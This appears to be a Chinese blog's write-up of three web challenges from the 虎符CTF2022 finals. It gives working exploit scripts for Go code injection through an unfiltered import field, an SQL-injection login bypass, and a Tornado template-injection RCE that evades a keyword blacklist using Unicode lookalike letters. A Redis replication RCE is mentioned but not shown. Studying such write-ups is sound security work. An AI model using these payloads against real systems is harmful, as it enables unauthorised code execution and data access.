Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • 虎符CTF2022 总决赛部分题解

    • [WEB] READYGO
      • [WEB] manager
        • [WEB] app
        Eki
        2022-07-25
        CTF Contest
        目录

        虎符CTF2022 总决赛部分题解

        # 虎符CTF2022 总决赛awdp部分题解

        image-20220809152203426

        ADWP最后第八,有空还是要多学学二进制相关内容

        # [WEB] READYGO

        go本身不支持类似eval这样把字符串转换成代码解析的功能,看下咋实现的

        func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
        	var (
        		tmp = `package main
        
        %s
        
        %s
        
        func main() {
        %s
        }
        `
        		importStr string
        		fullCode  string
        		newTmpDir = tempDir + dirSeparator + RandString(8)
        	)
        	if 0 < len(imports) {
        		importStr = "import ("
        		for _, item := range imports {
        			if blankInd := strings.Index(item, " "); -1 < blankInd {
        				importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
        			} else {
        				importStr += fmt.Sprintf("\n\"%s\"", item)
        			}
        		}
        		importStr += "\n)"
        	}
        	fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
        
        	var codeBytes = []byte(fullCode)
        	// 格式化输出的代码
        	if formatCode, err := format.Source(codeBytes); nil == err {
        		// 格式化失败,就还是用 content 吧
        		codeBytes = formatCode
        	}
        	fmt.Println(string(codeBytes))
        	// 创建目录
        	if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
        		return
        	}
        	defer os.RemoveAll(newTmpDir)
        	// 创建文件
        	tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
        	if err != nil {
        		return re, err
        	}
        	//defer os.Remove(tmpFile.Name())
        	// 代码写入文件
        	tmpFile.Write(codeBytes)
        	tmpFile.Close()
        	// 运行代码
        	cmd := exec.Command("go", "run", tmpFile.Name())
        	res, err := cmd.CombinedOutput()
        	return res, err
        }
        
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56

        可以看到是拼接成一段完整的源码然后编译执行。那么我们可以考虑代码注入来绕过沙箱。

        	r := gin.Default()
        	r.LoadHTMLFiles("html/index.html", "html/result.html")
        	r.GET("/", func(c *gin.Context) {
        		c.Header("server", "Gin")
        		c.HTML(200, "index.html", "")
        	})
        	r.POST("/parse", func(c *gin.Context) {
        		expression := c.DefaultPostForm("expression", "666")
        		Package := c.DefaultPostForm("Package", "fmt")
        		match, _ := regexp.MatchString("([a-zA-Z]+)", expression)
        		if match {
        			c.String(200, "Hacker????")
        			return
        		} else {
        			if res, err := eval.Eval("", "fmt.Print("+expression+")", Package); nil == err {
        				c.HTML(200, "result.html", gin.H{"result": string(res)})
        			} else {
        				c.HTML(200, "result.html", err.Error())
        			}
        		}
        	})
        	r.Run()
        
        
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24

        可以看到package出没有做限制,考虑在此处注入

        exp如下

        import requests
        
        url = "http://eci-2ze7eqa9e0rja8v9ws96.cloudeci1.ichunqiu.com:8080"
        
        package = "os/exec\"\n\"fmt\")\nfunc\nmain()\x09{cmd:=exec.Command(\"cat\",\"/ffffLAG\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))/*"
        exp = "*///"
        
        payload = {
            "expression":exp,
            "Package":package
        }
        
        res = requests.post(url+"/parse",data=payload)
        
        print(res.text)
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15

        防御的话就是只允许package为fmt了。。。感觉checker还得写强点。

        # [WEB] manager

        首先一个sql注入

        import requests
        
        
        payload = {
            "name":"$`union select '2','2';-- ",
            "password":"2",
        }
        
        url = "http://39.107.108.120:28738"
        
        res = requests.post(url+"/login",json=payload,proxies={"http":"http://127.0.0.1:8080"})
        
        print(res.text)
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13

        登录后

        image-20220809154224452

        把这个hostname放到hosts里本地解析到题目ip

        访问链接,注册后可以连上对应rocket.chat服务

        image-20220809154403329

        有个bot开了redis服务,考虑打redis

        经典主从复制rce

        然后getshell拿flag

        # [WEB] app

        tornado ssti

        import tornado.ioloop, tornado.web, tornado.options, os
        
        settings = {'static_path': os.path.join(os.getcwd(), 'static')}
        
        
        class IndexHandler(tornado.web.RequestHandler):
        
            def get(self):
                self.render("static/index.html")
        
            def post(self):
                if len(tornado.web.RequestHandler._template_loaders):
                    for i in tornado.web.RequestHandler._template_loaders:
                        tornado.web.RequestHandler._template_loaders[i].reset()
                msg = self.get_argument('tornado', '龙卷风摧毁停车场')
                black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help',
                              'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr',
                              'method', 'super', "flag", "file", "decode","request","builtins","|","&"]
        
                black_symbol = ["__", "'", '"', "$", "*", ",", ".","\\","0x","0o","/","+","*"]
                black_keyword = ['or', 'while']
                black_rce = ['render', 'module', 'include','if', 'extends', 'set', 'raw', 'try', 'except', 'else', 'finally',
                             'while', 'for', 'from', 'import', 'apply',"True","False"]
                if(len(msg)>1500) :
                    self.render('static/hack.html')
                    return
                bans = black_func + black_symbol + black_keyword + black_rce
                for ban in bans:
                    if ban in msg:
                        self.render('static/hack.html')
                        return
                with open('static/user.html', 'w') as (f):
                    f.write(
                        '<html><head><title></title></head><body><center><h1>你使用 %s 摧毁了tornado</h1></center></body></html>\n' % msg)
                    f.flush()
                self.render('static/user.html')
                if tornado.web.RequestHandler._template_loaders:
                    for i in tornado.web.RequestHandler._template_loaders:
                        tornado.web.RequestHandler._template_loaders[i].reset()
        
        
        def make_app():
            return tornado.web.Application([('/', IndexHandler)], **settings)
        
        
        if __name__ == '__main__':
            app = make_app()
            app.listen(8888)
            tornado.ioloop.IOLoop.current().start()
            print('start')
        
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51

        主要是一些特殊字符ban了,其他的关键字可以用unicode来替代

        学到一个特别巧妙的方式

        image-20220809160228359

        然后用slice就可以把这段注入的字符拿出来,外面eval一下就可以实现rce了

        完整exp如下

        import requests
        
        alphabet_encoded = "0123456789𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙"
        alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
        bold_translation = str.maketrans(alphabet, alphabet_encoded)  
        
        url = "http://localhost:8888"
        
        payload = r"__import__('os').system('ls')"
        poc = "{{eval(repr(request)[84:"+str(len(payload)+84)+"])}}"
        poc = poc.translate(bold_translation)
        data = {
            "tornado":poc
        }
        r = requests.post(url+"?poc="+payload,headers={"Eki":"123"},data=data)
        print(r.text)
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        编辑 (opens new window)
        上次更新: 2022/08/09, 16:21:00
        最近更新
        01
        QWB CTF2022 线下赛总决赛部分题解
        08-25
        02
        CISCN2022 总决赛部分题解
        08-25
        03
        DSCTF2022决赛 部分writeup
        08-08
        更多文章>
        Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
        This work is licensed under a Creative Commons Attribution 4.0 International License.
        • 跟随系统
        • 浅色模式
        • 深色模式
        • 阅读模式